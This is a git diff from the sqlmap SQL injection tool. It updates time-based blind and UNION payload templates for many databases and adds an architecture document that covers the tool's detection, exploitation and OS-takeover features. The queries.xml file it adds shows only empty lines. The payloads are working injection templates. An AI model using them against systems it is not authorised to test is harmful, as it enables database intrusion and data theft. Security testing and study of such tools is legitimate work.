+ + + + MySQL > 5.0.12 time-based blind - Parameter replace (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
MySQL - <= 5.0.11 + > 5.0.12
@@ -1450,7 +1702,7 @@ 5 4 1 - 1,2,3 + 1,2,3,9 3 ([INFERENCE] AND SLEEP([SLEEPTIME])) @@ -1469,7 +1721,7 @@ 5 5 1 - 1,2,3 + 1,2,3,9 3 ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -1488,7 +1740,7 @@ 5 5 1 - 1,2,3 + 1,2,3,9 3 MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) @@ -1507,7 +1759,7 @@ 5 3 1 - 1,2,3 + 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -1527,7 +1779,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -1542,54 +1794,52 @@ - Microsoft SQL Server/Sybase time-based blind - Parameter replace + Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries) 5 - 3 - 1 - 1,3 + 4 + 2 + 1,3,9 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) - +
Microsoft SQL Server Sybase - Windows
+ + - Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries) + Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP) 5 - 4 - 2 - 1,3 + 3 + 1 + 1,3,9 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) + BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END; - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) + BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END; - +
- Microsoft SQL Server - Sybase - Windows + Oracle
- Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) 5 3 1 - 1,3 + 1,3,9 3 BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; @@ -1608,7 +1858,7 @@ 5 3 1 - 1,3 + 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) @@ -1627,7 +1877,7 @@ 5 4 2 - 1,3 + 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) @@ -1646,7 +1896,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)) @@ -1666,7 +1916,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 3 IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) @@ -1686,7 +1936,7 @@ 5 5 2 - 1,3 + 1,3,9 3 (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) @@ -1705,7 +1955,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 3 (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) @@ -1718,15 +1968,15 @@ IBM DB2 - + HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query) 5 4 2 - 1,2,3 - 1 + 1,2,3,9 + 3 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) @@ -1745,8 +1995,8 @@ 5 5 2 - 1,2,3 - 1 + 1,2,3,9 + 3 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) @@ -1759,6 +2009,25 @@ > 2.0 + + + Informix time-based blind - Parameter replace (heavy query) + 5 + 4 + 2 + 1,2,3,9 + 3 + (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + + (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) + + + + +
+ Informix +
+ @@ -1769,9 +2038,9 @@ 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) @@ -1783,7 +2052,7 @@ - MySQL <= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query) + MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK) 5 4 2 @@ -1798,7 +2067,7 @@
MySQL - <= 5.0.11 + < 5.0.12
@@ -1842,44 +2111,41 @@ - Microsoft SQL Server/Sybase time-based blind - ORDER BY clause + Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query) 5 - 3 - 1 + 4 + 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) - +
Microsoft SQL Server Sybase - Windows
- Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query) + Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP) 5 - 4 - 2 + 3 + 1 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + ,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) + ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;) - +
- Microsoft SQL Server - Sybase - Windows + Oracle
@@ -1980,6 +2246,83 @@ > 2.0 - + + + SAP HANA AND time-based blind (heavy query) + 5 + 3 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+ + + + SAP HANA OR time-based blind (heavy query) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+ + + + SAP HANA AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + -- + + + + +
+ SAP HANA +
+ + + + SAP HANA time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3,9 + 3 + (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+ + diff --git a/xml/payloads/06_union_query.xml b/data/xml/payloads/union_query.xml similarity index 94% rename from xml/payloads/06_union_query.xml rename to data/xml/payloads/union_query.xml index 7de66f9e1a3..9513892fafb 100644 --- a/xml/payloads/06_union_query.xml +++ b/data/xml/payloads/union_query.xml @@ -12,7 +12,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [CHAR] [COLSTART]-[COLSTOP] @@ -31,7 +31,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] NULL [COLSTART]-[COLSTOP] @@ -50,7 +50,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [RANDNUM] [COLSTART]-[COLSTOP] @@ -69,7 +69,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [CHAR] 1-10 @@ -88,7 +88,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] NULL 1-10 @@ -107,7 +107,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [RANDNUM] 1-10 @@ -126,7 +126,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [CHAR] 11-20 @@ -145,7 +145,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] NULL 11-20 @@ -164,7 +164,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [RANDNUM] 11-20 @@ -183,7 +183,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [CHAR] 21-30 @@ -202,7 +202,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] NULL 21-30 @@ -221,7 +221,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [RANDNUM] 21-30 @@ -240,7 +240,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [CHAR] 31-40 @@ -259,7 +259,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] NULL 31-40 @@ -278,7 +278,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [RANDNUM] 31-40 @@ -297,7 +297,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [CHAR] 41-50 @@ -315,7 +315,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] NULL 41-50 @@ -334,7 +334,7 @@ [UNION] - -- + [GENERIC_SQL_COMMENT] [RANDNUM] 41-50 @@ -346,7 +346,7 @@ MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) 6 - 1 + 2 1 1,2,3,4,5 1 @@ -368,7 +368,7 @@ MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) 6 - 1 + 2 1 1,2,3,4,5 1 @@ -412,7 +412,7 @@ MySQL UNION query ([CHAR]) - 1 to 10 columns 6 - 1 + 2 1 1,2,3,4,5 1 @@ -434,7 +434,7 @@ MySQL UNION query (NULL) - 1 to 10 columns 6 - 1 + 2 1 1,2,3,4,5 1 diff --git a/data/xml/queries.xml b/data/xml/queries.xml new file mode 100644 index 00000000000..6ac58b7f6df --- /dev/null +++ b/data/xml/queries.xml @@ -0,0 +1,2010 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md new file mode 100644 index 00000000000..1753488258a --- /dev/null +++ b/doc/ARCHITECTURE.md @@ -0,0 +1,237 @@ +# sqlmap architecture + +A contributor-oriented map of how sqlmap is put together: the major components, +how a run flows through them, and where to start looking for a given concern. + +> This is a map, not a spec. It describes the durable structure and data flow; for +> exact signatures, option names, and enumerable lists (tampers, DBMSes, options), +> the source is authoritative. **When this document disagrees with the code, the code wins.** + +sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal +non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and +`thirdparty/six`. + +--- + +## 1. Entry points + +| Entry | File | Purpose | +|-------|------|---------| +| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. | +| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. | + +`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for +quirks/security - see below), `setPaths()`, `init()` (option parsing + environment +setup), then dispatches to `start()` for a normal scan, or to the self-tests +(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`. + +--- + +## 2. Global state: `conf` and `kb` + +Almost everything hangs off two process-global singletons defined in `lib/core/data.py`, +both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`): + +- **`conf`** - the resolved user configuration (options + derived settings). What the + user asked for. +- **`kb`** ("knowledge base") - mutable runtime state discovered during a run + (identified DBMS, injection points, page templates, caches, locks, counters). + +The configuration pipeline (`lib/core/`): + +- `parse/cmdline.py` - argparse definition of every CLI option. +- `core/optiondict.py` - option name -> type map (used for config-file/API coercion). +- `core/defaults.py` - default values. +- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`, + `_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding + setup, etc. Merges CLI + config file + defaults into `conf`/`kb`. +- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.** + +Identifiers in the codebase are camelCase. + +--- + +## 3. Top-level layout + +| Path | Responsibility | +|------|----------------| +| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing | +| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) | +| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing | +| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` | +| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) | +| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... | +| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` | +| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes | +| `plugins/dbms//` | per-DBMS subclasses + dialect (one dir per supported DBMS) | +| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file | +| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` | +| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) | +| `tests/` | stdlib-unittest suite (offline); see section 11 | +| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime | +| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) | + +--- + +## 4. The scan lifecycle (`lib/controller/controller.py: start()`) + +For each target: + +1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`): + resolve URL/params, open the per-target output dir and session file + (`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points, + cached values) from the session. +2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`, + `checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` / + dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`). +3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint). +4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by + the data engine (section 5). Confirmed points are appended to `kb.injections`. +5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the + back-end DBMS and assigns `conf.dbmsHandler`, the object through which all + enumeration is dispatched (section 7). +6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation + (`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to + `conf.dbmsHandler` methods, and feeds results to `conf.dumper`. + +If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`, +`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as +`SqlmapNotVulnerableException`. + +--- + +## 5. The data-driven detection engine + +Detection behavior lives in **data, not code** - `data/xml/`, loaded by +`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`): + +- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the + clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts). +- **`payloads/*.xml`** - the *tests*, one file per technique + (`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`, + `union_query`), each with the request template and the comparison/grep logic that + decides success. + +`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the +identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`) +forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/ +`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via +`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false +by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`, +plus titles/errors/HTTP-code signals). + +--- + +## 6. Exploitation techniques + +Once a parameter is injectable, value extraction is dispatched by +`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`: + +| Technique | Engine | Mechanism | +|-----------|--------|-----------| +| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle | +| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay | +| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error | +| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction | +| inline query | (inline, via inject) | value embedded in the original query position | +| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel | + +`bisection()` is the hot loop; it caches the `--charset` table in +`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch +(intentional). Multi-threaded extraction is coordinated via `kb.locks` and +`getCurrentThreadData()` (`lib/core/threads.py`). + +--- + +## 7. DBMS abstraction + +Enumeration is DBMS-agnostic at the top and specialized underneath: + +- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`, + `enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`, + `takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py` + (direct DB connection for `-d`). +- **`plugins/dbms//`** - one directory per supported DBMS, subclassing the generic + pieces and supplying dialect specifics. +- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table + enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name; + the dialect comes from XML. + +`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into. + +--- + +## 8. Output and session + +- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables + plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging + is via `logger` (`lib/core/log.py`). +- **Session / resume** - each target gets a SQLite session file + (`//session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()` + (`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points, + fingerprint, and extracted values so a re-run *resumes* instead of re-testing + (`--flush-session` discards it; `--fresh-queries` ignores cached query results). A + stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`. + +--- + +## 9. Request layer and tampering + +`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it: +protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`, +persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the +comparison oracle (`comparison.py`). + +**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS. +Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c` +chains them in priority order. They are payload-string transforms only (no engine +coupling), which is why they compose freely. + +--- + +## 10. REST API and JSON report + +`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as +subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry), +an IPC SQLite `Database` (the subprocess writes results/logs/errors back through +`StdDbOut`), and the route handlers 